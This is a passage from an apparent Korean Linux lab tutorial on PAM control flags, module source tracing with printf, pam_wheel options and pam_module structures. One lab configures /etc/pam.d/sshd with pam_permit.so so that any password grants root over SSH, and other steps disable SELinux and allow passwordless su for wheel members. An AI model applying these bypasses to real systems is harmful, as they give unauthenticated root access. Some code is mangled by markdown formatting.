  2 auth        required    pam_rootok.so
  3 auth        sufficient  pam_permit.so
      :
      :(생략)
  8 auth        substack    system-auth debug
      :
      :(생략)
-- /etc/pam.d/su --

2번 라인의 auth        required    pam_rootok.so 이 부분을 수행하지만 실패이고 다음 모듈을 검사한다. 
3번 라인의 auth        sufficient  pam_permit.so 이 부분을 수행하지만 
위에서 required 에서 이미 실패했기 때문에 인증에 영향을 주지 않으므로 실패가 되고 다음 모듈을 검사한다.
8번 라인의 auth        substack    system-auth debug 에서도 root의 비밀번호를 정확하게 입력해도
2번 라인의 required 에서 인증 반환이 실패 되었기 때문에 최종적으로 인증은 실패가 되므로 로그인을 못한다.
[user1@localhost ~]$ su -
암호:
su: 인증 실패
[user1@localhost ~]$ </code></pre><blockquote>
<p><strong>실습&gt; sufficient</strong></p>
</blockquote>
<pre><code>sufficient
모듈의 인증 반환이 성공인 경우 즉시 인증 성공
required의 실패 이 후에 호출된 경우나 모듈의 실패는 인증에 영향을 주지 않음

-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so
  3 auth        sufficient  pam_permit.so
     :
     : (생략)
-- /etc/pam.d/su --

2번 라인의 auth        sufficient  pam_rootok.so 이 부분을 수행하지만 실패이고 다음 모듈을 검사한다. 
3번 라인의 auth        sufficient  pam_permit.so 이 부분을 수행한다. 
위에서 sufficient 에서 실패했지만  때문에 인증에 영향을 주지 않으므로 즉시 인증이 성공이 되고 다음 모듈을 검사한다.
최종적으로 3번라인의 성공으로 로그인 된다. 

[user1@localhost ~]$ su -
마지막 로그인: 화  3월 28 01:30:33 KST 2023 일시 pts/2
[root@localhost ~]# </code></pre><blockquote>
<p><strong>실습&gt; requisite</strong></p>
</blockquote>
<pre><code>requisite
모듈의 인증 반환이 실패인 경우 즉시 인증 거부(모듈의 성공 시 다음 모듈 호출)


-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        requisite   pam_rootok.so
  3 auth        sufficient  pam_permit.so
      :
      :(생략)
  8 auth        substack    system-auth debug
      :
      :(생략)
-- /etc/pam.d/su --

2번 라인의 auth        requisite  pam_rootok.so 이 부분을 수행하지만 실패이므로 즉시 실패가 된다. 
모듈 검사는 종료 검사한다. 
3번 라인의 auth        sufficient  pam_permit.so 이 부분을 수행하지 않는다. 
[user1@localhost ~]$ su -
su: 인증 실패
[user1@localhost ~]$


o 소스 레벨로 접근
[root@localhost ~]# cd rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_permit
[root@localhost pam_permit]# pwd
/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_permit

[root@localhost pam_permit]# vi pam_permit.c 
 33 PAM_EXTERN int
 34 pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
 35             int argc UNUSED, const char **argv UNUSED)
 36 {           
 37     int retval;
 38     const char *user=NULL;
 39     
 40     printf(&quot;&gt;&gt;&gt; %s : pam_sm_authenticate() 호출! &lt;&lt;&lt; \n&quot;, __FILE__);  // 이 부분을 추가한다.
 41     
 42     /*
 43      * authentication requires we know who the user wants to be
 44      */
 45     retval = pam_get_user(pamh, &amp;user, NULL);

[root@localhost pam_permit]# make
/bin/sh ../../libtool --tag=CC   --mode=compile gcc -DHAVE_CONFIG_H -I. -I../..    -I../../libpam/include -I../../libpamc/include -g -O2 -MT pam_permit.lo -MD -MP -MF .deps/pam_permit.Tpo -c -o pam_permit.lo pam_permit.c
libtool: compile:  gcc -DHAVE_CONFIG_H -I. -I../.. -I../../libpam/include -I../../libpamc/include -g -O2 -MT pam_permit.lo -MD -MP -MF .deps/pam_permit.Tpo -c pam_permit.c  -fPIC -DPIC -o .libs/pam_permit.o
mv -f .deps/pam_permit.Tpo .deps/pam_permit.Plo
/bin/sh ../../libtool --tag=CC   --mode=link gcc -I../../libpam/include -I../../libpamc/include -g -O2 -no-undefined -avoid-version -module -Wl,--version-script=./../modules.map -Wl,--as-needed -Wl,--no-undefined -Wl,-O1 -o pam_permit.la -rpath /lib64/security pam_permit.lo ../../libpam/libpam.la 
libtool: link: rm -fr  .libs/pam_permit.la .libs/pam_permit.lai
libtool: link: gcc -shared  .libs/pam_permit.o   -Wl,-rpath -Wl,/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/libpam/.libs -Wl,-rpath -Wl,/lib64 ../../libpam/.libs/libpam.so -ldl  -Wl,--version-script=./../modules.map -Wl,--as-needed -Wl,--no-undefined -Wl,-O1   -Wl,-soname -Wl,pam_permit.so -o .libs/pam_permit.so
libtool: link: ( cd &quot;.libs&quot; &amp;&amp; rm -f &quot;pam_permit.la&quot; &amp;&amp; ln -s &quot;../pam_permit.la&quot; &quot;pam_permit.la&quot; )

컴파일된 라이브러리 파일을 /etc/lib64/security 디렉터리에 복사한다.
[root@localhost pam_permit]# cp .libs/pam_permit.so /usr/lib64/security/
cp: overwrite `/usr/lib64/security/pam_permit.so&#39;? y

SELinux를 잠시 해제한다.
[root@localhost pam_permit]# setenforce 0


-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        requisite   pam_rootok.so
  3 auth        sufficient  pam_permit.so
      :
      :(생략)
  8 auth        substack    system-auth debug
      :
      :(생략)
-- /etc/pam.d/su --

2번 라인의 auth        requisite  pam_rootok.so 이 부분을 수행하고 root가 맞으므로 성공이므로 다음 모듈을 검사한다.
requisite 로 설정되면 모듈의 성공 시 다음 모듈 호출하게 되어 있다.
3번 라인의 auth        sufficient  pam_permit.so 이 부분을 수행해서 성공한다. 
[root@localhost pam_permit]# su - user1
&gt;&gt;&gt; pam_permit.c : pam_sm_authenticate() 호출! &lt;&lt;&lt;
마지막 로그인: 화  3월 28 01:58:19 KST 2023 일시 pts/2
[user1@localhost ~]$ 

2번 라인의 auth        requisite  pam_rootok.so 이 부분을 수행하고 root가 아니므로 실패이므로 인증은 즉시 실패가 된다.
그리고 다음 모듈의 검사는 하지 않는다. 만약 pam_permit.so가 실행되었다면 아래 메세지가 출력이 되어야 하는데 출력되지 
않았다라는 것은 pam_permit.so 모듈이 호출되지 않았다는걸 의미한다.
&gt;&gt;&gt; pam_permit.c : pam_sm_authenticate() 호출! &lt;&lt;&lt;
[user1@localhost ~]$ su -
su: 인증 실패
[user1@localhost ~]$ </code></pre><blockquote>
<p><strong>실습&gt; ssh로 접근할 때 무조건 로그인 시키기</strong></p>
</blockquote>
<pre><code># vi /etc/ssh/sshd_config
UsePAM yes

# vi /etc/pam.d/sshd
  1 #%PAM-1.0
  2 auth       sufficient   pam_permit.so
  3 auth       required     pam_sepermit.so
  4 auth       substack     password-auth
     :
     :(생략)
무조건 접속할 때 성공
auth       sufficient   pam_permit.so: 인증에 대해서 무조건 성공을 반환한다.

ssh로 접속할 때 비밀번호를 아무거나 넣어도 pam_permit.so에 의해서 성공을 반환하므로 로그인이 된다.
C:\Users\boani&gt;ssh root@200.200.200.3
root@200.200.200.3&#39;s password:   &lt;-- 비밀번호를 아무거나 넣는다.
Last login: Tue Mar 28 03:29:27 2023 from localhost
[root@localhost ~]# exit</code></pre><blockquote>
<p><strong>실습&gt; 자동화할 수 있는 스크립트 작성하기</strong></p>
</blockquote>
<pre><code>[root@localhost pam_permit]# cd
[root@localhost ~]# mkdir bin
[root@localhost ~]# cat &gt;&gt; bin/PAMCompile.sh &lt;&lt; EOF
#!/bin/sh
# 파일명: pamCompile.sh
# 프로그램 설명: PAM 분석을 위한 라이브러리 컴파일및 복사
# 작성자: 리눅스마스터넷

libdir=$(pwd)
#libname=${libdir##*/}
libname=`basename $libdir`
cd $libdir
pwd
make
cp -f .libs/${libname}.so /lib64/security/
EOF

[root@localhost ~]# chmod 755 bin/PAMCompile.sh</code></pre><blockquote>
<p><strong>실습&gt; pam_rootok 모듈 분석하기</strong></p>
</blockquote>
<pre><code>1. 소스코드 변경
소스코드에 printf() 함수를 이용해서 출력하는 코드를 삽입한다.
[root@localhost ~]# cd /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_rootok
[root@localhost pam_rootok]# vi pam_rootok.c 

 43 static int
 44 _pam_parse (const pam_handle_t *pamh, int argc, const char **argv)
 45 {
 46     int ctrl=0;
 47 
 48     printf(&quot;%s: _pam_parse() 실행!\n&quot;, __FILE__);
 49 
 50     /* step through arguments */
 51     for (ctrl=0; argc-- &gt; 0; ++argv) {
 52 
 53         printf(&quot;for문 \n&quot;);
 54 
 55         /* generic options */
 56         // 인수가 디버그와 같으면 
 57         if (!strcmp(*argv,&quot;debug&quot;))
 58         {
 59             ctrl |= PAM_DEBUG_ARG;  // 1  // ctrl = ctrl | PAM_DEBUG_ARG;
 60             printf(&quot;debug 와 같음.\n&quot;);
 61         }
 62         // 인수가 디버그와 같지 않으면 
 63         else {
 64             printf(&quot;debug 와 같지 않음.\n&quot;);
 65 
 66             // /var/log/secure 파일에 로그를 기록함.
 67             // /usr/include/sys/syslog.h
 68             // #define  LOG_ERR     3   /* error conditions */
 69             pam_syslog(pamh, LOG_ERR, &quot;unknown option: %s&quot;, *argv);
 70         }
 71     }
 72 
 73     printf(&quot;ctrl: %d\n&quot;, ctrl);
 74 
 75     return ctrl;
 76 }

2. PAMCompile.sh 실행
자동화된 스크립트를 실행하면 소스코드를 컴파일하고 동적 라이브러리를 복사한다.
저장 후 PAMCompile.sh 파일을 실행한다. P&lt;tab&gt; 을 이용해서 실행한다.
[root@localhost pam_rootok]# PAMCompile.sh 
/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_rootok
/bin/sh ../../libtool --tag=CC   --mode=compile gcc -DHAVE_CONFIG_H -I. -I../..    -I../../libpam/include -I../../libpamc/include  -g -O2 -MT pam_rootok.lo -MD -MP -MF .deps/pam_rootok.Tpo -c -o pam_rootok.lo pam_rootok.c
libtool: compile:  gcc -DHAVE_CONFIG_H -I. -I../.. -I../../libpam/include -I../../libpamc/include -g -O2 -MT pam_rootok.lo -MD -MP -MF .deps/pam_rootok.Tpo -c pam_rootok.c  -fPIC -DPIC -o .libs/pam_rootok.o
mv -f .deps/pam_rootok.Tpo .deps/pam_rootok.Plo
/bin/sh ../../libtool --tag=CC   --mode=link gcc -I../../libpam/include -I../../libpamc/include  -g -O2 -no-undefined -avoid-version -module -Wl,--version-script=./../modules.map -Wl,--as-needed -Wl,--no-undefined -Wl,-O1 -o pam_rootok.la -rpath /lib64/security pam_rootok.lo ../../libpam/libpam.la   
libtool: link: rm -fr  .libs/pam_rootok.la .libs/pam_rootok.lai .libs/pam_rootok.so
libtool: link: gcc -shared  .libs/pam_rootok.o   -Wl,-rpath -Wl,/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/libpam/.libs -Wl,-rpath -Wl,/lib64 ../../libpam/.libs/libpam.so -ldl  -Wl,--version-script=./../modules.map -Wl,--as-needed -Wl,--no-undefined -Wl,-O1   -Wl,-soname -Wl,pam_rootok.so -o .libs/pam_rootok.so
libtool: link: ( cd &quot;.libs&quot; &amp;&amp; rm -f &quot;pam_rootok.la&quot; &amp;&amp; ln -s &quot;../pam_rootok.la&quot; &quot;pam_rootok.la&quot; )

3. 인수가 없는 경우
터미널 3개로 작업한다. 
- 첫 번째 터미널: su -
- 두 번째 터미널: /etc/pam.d/su 수정
- 세 번째 터미널: 로그 모니터링

새로운 터미널을 열어서 로그를 모니터링한다.
[root@localhost ~]# &gt; /var/log/secure
[root@localhost ~]# tail -f /var/log/secure

새로운 터미널을 열어서 /etc/pam.d/su 파일을 수정한다.
[root@localhost ~]# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient   pam_rootok.so 
  3 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  4 #auth       sufficient  pam_wheel.so trust use_uid debug
  5 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  6 #auth       required    pam_wheel.so use_uid

다른 터미널에서 su - 를 하면 인수가 없을 때는 for문 안으로 들어가지 않는다.
[root@localhost pam_rootok]# su - 
pam_rootok.c: _pam_parse() 실행!
ctrl: 0
[root@localhost ~]# 

로그는 아래처럼 기록된다.
[root@localhost ~]# tail -f /var/log/secure
Mar 28 04:57:18 localhost su: pam_succeed_if(su-l:account): &#39;uid&#39; resolves to &#39;0&#39;
Mar 28 04:57:18 localhost su: pam_unix(su-l:session): session opened for user root by root(uid=0)
[root@localhost ~]# exit

4. 인수가 있는 경우
인수가 있고 정상적인 인수일 때 
터미널 3개로 작업한다. 
- 첫 번째 터미널: su -
- 두 번째 터미널: /etc/pam.d/su 수정
- 세 번째 터미널: 로그 모니터링

새로운 터미널에서 /etc/pam.d/su 파일을 수정한다.
[root@localhost ~]# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so debug  &lt;== debug가 추가된 경우
  3 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  4 #auth       sufficient  pam_wheel.so trust use_uid debug
  5 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  6 #auth       required    pam_wheel.so use_uid
  7 auth        substack    system-auth debug

로그를 초기화하고 모니터링 한다.
[root@localhost ~]# &gt; /var/log/secure
[root@localhost ~]# tail -f /var/log/secure

su - 를 실행한다.
su - 를 할 때 인수가 있을 때는 for문 안으로 들어간다.
[root@localhost pam_rootok]# su - 
pam_rootok.c: _pam_parse() 실행!
for문 
debug 와 같음.
ctrl: 1
마지막 로그인: 화  3월 28 04:57:18 KST 2023 일시 pts/2
[root@localhost ~]# exit

debug 옵션을 주면 root check succeeded 로그가 기록된다.
[root@localhost ~]# &gt; /var/log/secure
[root@localhost ~]# tail -f /var/log/secure
Mar 28 05:00:22 localhost su: pam_rootok(su-l:auth): root check succeeded  &lt;-- debug 옵션에 의해서 저장된 로그
Mar 28 05:00:22 localhost su: pam_succeed_if(su-l:account): &#39;uid&#39; resolves to &#39;0&#39;
Mar 28 05:00:22 localhost su: pam_unix(su-l:session): session opened for user root by root(uid=0)
Mar 28 05:00:53 localhost su: pam_unix(su-l:session): session closed for user root


5. 인수가 있는 경우
인수가 있지만 비정상적인(없는) 인수일 때 
터미널 3개로 작업한다. 
- 첫 번째 터미널: su -
- 두 번째 터미널: /etc/pam.d/su 수정
- 세 번째 터미널: 로그 모니터링

새로운 터미널에서 /etc/pam.d/su 파일을 수정한다.
[root@localhost ~]# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so debug1  &lt;== 잘못된 인수값
  3 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  4 #auth       sufficient  pam_wheel.so trust use_uid debug
  5 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  6 #auth       required    pam_wheel.so use_uid

로그를 모니터링한다.
[root@localhost ~]# &gt; /var/log/secure
[root@localhost ~]# tail -f /var/log/secure

su - 명령어로 메세지를 확인한다.
[root@localhost pam_rootok]# su - 
pam_rootok.c: _pam_parse() 실행!
for문 
debug 와 같지 않음.
ctrl: 0
마지막 로그인: 화  3월 28 05:00:22 KST 2023 일시 pts/2
[root@localhost ~]# exit

로그에 기록된 내용은 아래처럼 기록된다.
[root@localhost ~]# tail -f /var/log/secure
Mar 28 05:09:45 localhost su: pam_rootok(su-l:auth): unknown option: debug1  &lt;== 로그에 기록된 내용
Mar 28 05:09:45 localhost su: pam_unix(su-l:session): session opened for user root by root(uid=0)</code></pre><blockquote>
<p><strong>실습&gt; pam_wheel</strong></p>
</blockquote>
<p>```</p>
<ol>
<li>모듈 설명
모듈은 auth type에서만 사용 가능
모듈은 root로 접근하는 사용자가 wheel 그룹의 구성원인 경우에만 허용하기 위해 사용
일반적으로 su의 보안 설정을 위해 사용 됨
ex) su    auth    sufficient        pam_rootok.so
ex) su    auth    required        pam_wheel.so trust use_uid
ex) su    auth    required        pam_unix.so
ex) su    auth    required        pam_permit.so</li>
</ol>
<p>개요
pam_wheel.so [ debug ] [ deny ] [ group=name ] [ root_only ] [ trust ] [ use_uid ]</p>
<p>설명
pam_wheel은 소위 wheel 그룹을 강제할 수 있는 PAM 모듈이다. 
따로 인수를 주지 않으면 요청 사용자가 wheel 그룹에 속한 경우에 대상 사용자 접근을 허가한다. 
그런 이름의 그룹이 없는 경우에는 그룹 ID가 0인 그룹을 쓴다.</p>
<p>옵션
debug
디버그 정보 찍기.</p>
<p>deny
인증 동작의 의미를 뒤집는다. 즉 UID 0 접근 권한을 얻으려고 하는 사용자가 wheel 그룹(내지 group 옵션 그룹)에 속해 있으면 접근을 거부한다. 반대로 사용자가 그 그룹에 없으면 PAM_IGNORE를 반환한다. (단 trust도 지정한 경우에는 PAM_SUCCESS를 반환한다.)</p>
<p>group=name
wheel 그룹 내지 GID 0 그룹 대신 name 그룹을 사용해 인증을 수행한다.</p>
<p>root_only
목표 사용자 UID가 0일 때만 wheel 소속 검사를 한다.</p>
<p>trust
사용자가 wheel 그룹에 속해 있으면 pam_wheel 모듈이 PAM_IGNORE 대신 PAM_SUCCESS를 반환한다. 
(그래서 모듈들을 잘 쌓으면 wheel 멤버가 패스워드 입력 없이 root로 su 하는 게 가능할 수도 있다.)</p>
<p>use_uid
사용 중인 터미널에 연계된 로그인 세션에서 사용자를 얻으려 하지 말고 대신 호출 프로세스의 실제 uid에 대해서 검사를 한다.</p>
<p>제공하는 모듈 종류
auth 및 account 모듈 타입을 제공한다.</p>
<p>반환 값
PAM_AUTH_ERR
인증 실패.</p>
<p>PAM_BUF_ERR
메모리 버퍼 오류.</p>
<p>PAM_IGNORE
PAM 처리부에서 반환 값을 무시해야 함.</p>
<p>PAM_PERM_DENY
권한 거부됨.</p>
<p>PAM_SERVICE_ERR
사용자 이름을 알아낼 수 없음.</p>
<p>PAM_SUCCESS
성공.</p>
<p>PAM_USER_UNKNOWN
알 수 없는 사용자.</p>
<p>예시
root 계정은 기본적으로 접근권을 얻고 (rootok), wheel 멤버만 root가 될 수 있되 (wheel) root 외 신청자들을 유닉스 방식으로 인증한다.</p>
<p>su      auth     sufficient     pam_rootok.so
su      auth     required       pam_wheel.so
su      auth     required       pam_unix.so</p>
<ol start="2">
<li>PAM 사용 예</li>
</ol>
<p>-- /etc/pam.d/su --
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so debug
  3 # Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.
  4 auth        sufficient  pam_wheel.so trust use_uid debug
  5 # Uncomment the following line to require a user to be in the &quot;wheel&quot; group.
  6 #auth       required    pam_wheel.so use_uid
-- /etc/pam.d/su --</p>
<p>pam을 다시 원래대로 복구한다.
[root@localhost pam_rootok]# yum -y reinstall pam</p>
<p>사용자 2명을 생성하고 user1만 wheel그룹에 포함한다.
wheel 그룹이란 관리자 그룹을 말한다.
[root@localhost pam_rootok]# useradd user1
[root@localhost pam_rootok]# useradd user2
[root@localhost pam_rootok]# usermod -G wheel user1
[root@localhost pam_rootok]# su - user1
마지막 로그인: 화  3월 28 05:35:38 KST 2023 일시 pts/2
[user1@localhost ~]$  id
uid=1001(user1) gid=100(users) groups=100(users),10(wheel) context=unco ... (생략)</p>
<p>wheel 그룹에 포함되어 있으므로 trust 옵션과 use_uid 옵션이 존재하므로 비밀번호 인증이 없어도 바로 인증에 성공한다.
[user1@localhost ~]$ su -
마지막 로그인: 화  3월 28 05:09:45 KST 2023 일시 pts/2
[root@localhost ~]# exit
[user1@localhost ~]$ exit</p>
<ol start="3">
<li><p>소스 레벨 분석
[root@localhost pam_rootok]# cd ../pam_wheel/
[root@localhost pam_wheel]# pwd
/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_wheel
[root@localhost pam_wheel]# vi pam_wheel.c</p>
<p>60 /* argument parsing <em>/
61 
62 #define PAM_DEBUG_ARG       0x0001
63 #define PAM_USE_UID_ARG     0x0002
64 #define PAM_TRUST_ARG       0x0004
65 #define PAM_DENY_ARG        0x0010
66 #define PAM_ROOT_ONLY_ARG   0x0020
67 
68 static int
69 <em>pam_parse (const pam_handle_t <em>pamh, int argc, const char *</em>argv,
70         char *use_group, size_t group_length)
71 {
72      int ctrl=0;
73<br>74      printf(&quot;%s: <em>pam_parse() 호출! \n&quot;, __FILE</em></em>);   // 추가
75      printf(&quot;argc: %d개\n&quot;, argc);  // 추가
76      memset(use_group, &#39;\0&#39;, group_length);
77 
78      /</em> step through arguments <em>/
79      for (ctrl=0; argc-- &gt; 0; ++argv) {
80 
81           /</em> generic options <em>/
82 
83           if (!strcmp(</em>argv,&quot;debug&quot;))
84           { // 추가<br>85                ctrl |= PAM_DEBUG_ARG;
86                printf(&quot;if debug: %d \n&quot;, ctrl);   // 추가
87           } // 추가
88           else if (!strcmp(<em>argv,&quot;use_uid&quot;))
89           { // 추가<br>90                ctrl |= PAM_USE_UID_ARG;
91                printf(&quot;else if use_uid: %d \n&quot;, ctrl);   // 추가
92           } // 추가
93           else if (!strcmp(</em>argv,&quot;trust&quot;))
94           { // 추가
95                ctrl |= PAM_TRUST_ARG;
96                printf(&quot;else if trust: %d \n&quot;, ctrl);   // 추가
97           } // 추가
98           else if (!strcmp(<em>argv,&quot;deny&quot;))
99           { // 추가
100                ctrl |= PAM_DENY_ARG;
101                printf(&quot;else if deny: %d \n&quot;, ctrl);   // 추가
102           } // 추가
103           else if (!strcmp(</em>argv,&quot;root_only&quot;))
104           { // 추가
105                ctrl |= PAM_ROOT_ONLY_ARG;
106                printf(&quot;else if root_only: %d \n&quot;, ctrl);   // 추가
107           } // 추가
108           else if (!strncmp(<em>argv,&quot;group=&quot;,6))
109           { // 추가
110            strncpy(use_group,</em>argv+6,group_length-1);
111                printf(&quot;else if group=: %d \n&quot;, ctrl);  // 추가
112           } // 추가
113           else { // 추가
114                printf(&quot;else unknown option: %d \n&quot;, ctrl);  // 추가
115                pam_syslog(pamh, LOG_ERR, &quot;unknown option: %s&quot;, *argv    );
116           } // 추가
117      }
118      printf(&quot;ctrl: %d\n&quot;, ctrl);  // 추가
119      return ctrl;</p>
</li>
</ol>
<p>122 static int
123 perform_check (pam_handle_t *pamh, int ctrl, const char *use_group)
124 {
          :
          :(생략)</p>
<p>147     // PAM_ROOT_ONLY_ARG 옵션이 안들어 왔으므로 if안으로 들어가지 않는다.
148     // #define PAM_ROOT_ONLY_ARG   0x0020
149     //
150     //   00010000  &lt;-- PAM_ROOT_ONLY_ARG (0x0020 = 32)
151     // &amp; 00000111  &lt;-- ctrl (7)
152     // ----------
153     //   00000000
154     if (ctrl &amp; PAM_ROOT_ONLY_ARG) {  // &lt;-- 연산 결과에 의해서 if(0) 거짓이 된다. 
155        printf(&quot;ctl &amp; PAM_ROOT_ONLY_ARG\n&quot;);
156     /* su to a non uid 0 account ? */
157         if (pwd-&gt;pw_uid != 0) {
158             return PAM_IGNORE;
159         }
160     }
161 
162     // PAM_USE_UID_ARG 옵션이 들어 왔으므로 if안으로 들어간다. 
163     // #define PAM_USE_UID_ARG     0x0002
164     //   00000010  &lt;-- PAM_USE_UID_ARG (0x0002 = 2)
165     // &amp; 00000111  &lt;-- ctrl (7)
166     // ----------
167     //   00000010
168     if (ctrl &amp; PAM_USE_UID_ARG) {  // &lt;-- 연산 결과에 의해서 if(2) 참이 된다.
169        printf(&quot;ctl &amp; PAM_USE_UID_ARG\n&quot;);
170     tpwd = pam_modutil_getpwuid (pamh, getuid());
171     if (!tpwd) {
172         if (ctrl &amp; PAM_DEBUG_ARG) {
173                 pam_syslog(pamh, LOG_NOTICE, &quot;who is running me ?!&quot;);
174         }
175         return PAM_SERVICE_ERR;
176     }</p>
<pre><code>    :
    :(생략)</code></pre><p>269 
270 /* --- authentication management functions --- <em>/
271 
272 PAM_EXTERN int
273 pam_sm_authenticate (pam_handle_t *pamh, int flags UNUSED,
274              int argc, const char *</em>argv)
275 {
276 
277     char use_group[BUFSIZ];
278     int ctrl;
279 
280     printf(&quot;%s: pam_sm_authenticate() 호출! \n&quot;, <strong>FILE</strong>);
281 
282     ctrl = _pam_parse(pamh, argc, argv, use_group, sizeof(use_group));
283 
284     return perform_check(pamh, ctrl, use_group);
285 }</p>
<p>소스코드를 저장하고 셸로 나온 후 라이브러리를 다시 컴파일하고 복사한다.
[root@localhost pam_wheel]# PAMCompile.sh </p>
<p>user1 사용자로 변경해서 실행한다.
[root@localhost pam_wheel]# su - user1
마지막 로그인: 화  3월 28 05:36:00 KST 2023 일시 pts/2</p>
<p>user1 사용자는 wheel 그룹에 포함되어 있다.
[user1@localhost ~]$ id
uid=1001(user1) gid=100(users) groups=100(users),10(wheel) ... (생략)</p>
<p>[user1@localhost ~]$ su -
pam_wheel.c: pam_sm_authenticate() 호출! 
pam_wheel.c: _pam_parse() 호출! 
argc: 3개
else if trust: 4 
else if use_uid: 6 
if debug: 7 
ctrl: 7
ctl &amp; PAM_USE_UID_ARG  &lt;-- use_uid 옵션이 들어왔으므로 이 부분이 출력된다.(나머지 옵션은 출력하지 않았음.)
마지막 로그인: 화  3월 28 06:38:49 KST 2023 일시 pts/2
[root@localhost ~]# exit
[user1@localhost ~]$ exit</p>
<p>실습&gt; pam_module 구조체 확인하기</p>
<p>pam_module 구조체의 멤버 변수들은 모듈명과 함수 포인터로 구성되어 있다. </p>
<p>-- /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/libpam/include/security/pam_modules.h --</p>
<p> 37 struct pam_module {
 38     const char <em>name;       /</em> Name of the module <em>/
 39 
 40     /</em> These are function pointers to the module&#39;s key functions.  <em>/
 41 
 42     int (</em>pam_sm_authenticate) (pam_handle_t <em>pamh, int flags, int argc, const char *</em>argv);  // auth
 43     int (<em>pam_sm_setcred)      (pam_handle_t *pamh, int flags, int argc, const char *</em>argv);  // auth
 44     int (<em>pam_sm_acct_mgmt)    (pam_handle_t *pamh, int flags, int argc, const char *</em>argv);  // account
 45     int (<em>pam_sm_open_session) (pam_handle_t *pamh, int flags, int argc, const char *</em>argv);  // session
 46     int (<em>pam_sm_close_session)(pam_handle_t *pamh, int flags, int argc, const char *</em>argv);  // session
 47     int (<em>pam_sm_chauthtok)    (pam_handle_t *pamh, int flags, int argc, const char *</em>argv);  // password
 48 };</p>
<p>-- /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/libpam/include/security/pam_modules.h --</p>
<p>o pam_succeed_if.so
모듈은 모든 타입에서 사용 가능
모듈의 인자로 조건을 설정하며, 조건이 참일 경우 성공을 반환
ex) auth    sufficient        user = user1 use_uid quiet</p>
<p>pam_succeed_if.c</p>
<p>578 /* static module data */
579 #ifdef PAM_STATIC
580 struct pam_module _pam_succeed_if_modstruct = {
581     &quot;pam_succeed_if&quot;,       // name
582     pam_sm_authenticate,    // auth
583     pam_sm_setcred,         // auth
584     pam_sm_acct_mgmt,       // account
585     pam_sm_open_session,    // session
586     pam_sm_close_session,   // session
587     pam_sm_chauthtok        // password
588 };
589 #endif</p>
<p>o pam_wheel.so
모듈은 auth, account type에서만 사용 가능
모듈은 root로 접근하는 사용자가 wheel 그룹의 구성원인 경우에만 허용하기 위해 사용
일반적으로 su의 보안 설정을 위해 사용 됨
ex) su    auth    sufficient        pam_rootok.so
ex) su    auth    required        pam_wheel.so trust use_uid
ex) su    auth    required        pam_unix.so
ex) su    auth    required        pam_permit.so</p>
<p>pam_wheel.c </p>
<p>266 #ifdef PAM_STATIC
267 
268 /* static module data <em>/
269 
270 struct pam_module _pam_wheel_modstruct = {
271     &quot;pam_wheel&quot;,            // name
272     pam_sm_authenticate,    // auth
273     pam_sm_setcred,         // auth
274     pam_sm_acct_mgmt,       // account
275     NULL,
276     NULL,
277     NULL
278 };
279 
280 #endif /</em> PAM_STATIC */</p>
<p>o pam_motd
모듈은 session type에서만 사용 가능
motd 파일의 내용을 출력
ex) session    optional    pam_motd.so    motd=/etc/motd</p>
<p>pam_motd.c</p>
<p>114 #ifdef PAM_STATIC
115<br>116 /* static module data <em>/
117 
118 struct pam_module _pam_motd_modstruct = {
119      &quot;pam_motd&quot;,
120      NULL,
121      NULL,
122      NULL,
123      pam_sm_open_session,    // session
124      pam_sm_close_session,   // session
125      NULL,
126 };
127 
128 #endif
129 
130 /</em> end of module definition */</p>
<p>pam_time.so
모듈은 account type에서만 사용 가능
로그인할 위치 및 시간을 지정하여 시간에 따라 로그인을 제어
ex) account    required    pam_time.so
설정 파일 : /etc/security/time.conf</p>
<p>pam_time.c</p>
<p>667 #ifdef PAM_STATIC
668<br>669 /* static module data */
670<br>671 struct pam_module _pam_time_modstruct = {
672     &quot;pam_time&quot;,
673     NULL,
674     NULL,
675     pam_sm_acct_mgmt,      // account
676     NULL,
677     NULL,
678     NULL
679 };<br>680 #endif</p>
<p>pam_cracklib.so
모듈은 password 타입에서만 사용 가능
사용자 암호 정책을 확인
입력받은 암호를 /etc/lib64/cracklib_dict에 있는 사전 정보와 비교
새로운 암호를 /etc/security/opasswd에 저장되어 있는 이 전 암호 목록과 비교
시스템 보안 차원에서 패스워드 글자 수를 제한할 수 있음</p>
<p>pam_cracklib.c </p>
<p>861 #ifdef PAM_STATIC
862 /* static module data */
863 struct pam_module _pam_cracklib_modstruct = {
864      &quot;pam_cracklib&quot;,
865      NULL,
866      NULL,
867      NULL,
868      NULL,
869      NULL,
870      pam_sm_chauthtok     // password
871 };
872 #endif</p>
<p>pam_limits.so
모듈은 session type에서만 사용 가능
사용자가 사용할 수 있는 로그인 세션의 자원을 설정 파일에 따라 제한
사용자에 가용 자원을 제한함으로써 자원에 영향을 주는 DoS 공격에 대비가 가능하다는 이점이 있음
ex) session    required    pam_limits.so
설정 파일 : /etc/security/limits.conf</p>
<p>pam_limits.c  </p>
<p>1095 #ifdef PAM_STATIC
1096 
1097 /* static module data */
1098 
1099 struct pam_module _pam_limits_modstruct = {
1100      &quot;pam_limits&quot;,
1101      NULL,
1102      NULL,
1103      NULL,
1104      pam_sm_open_session,     // session
1105      pam_sm_close_session,    // session
1106      NULL
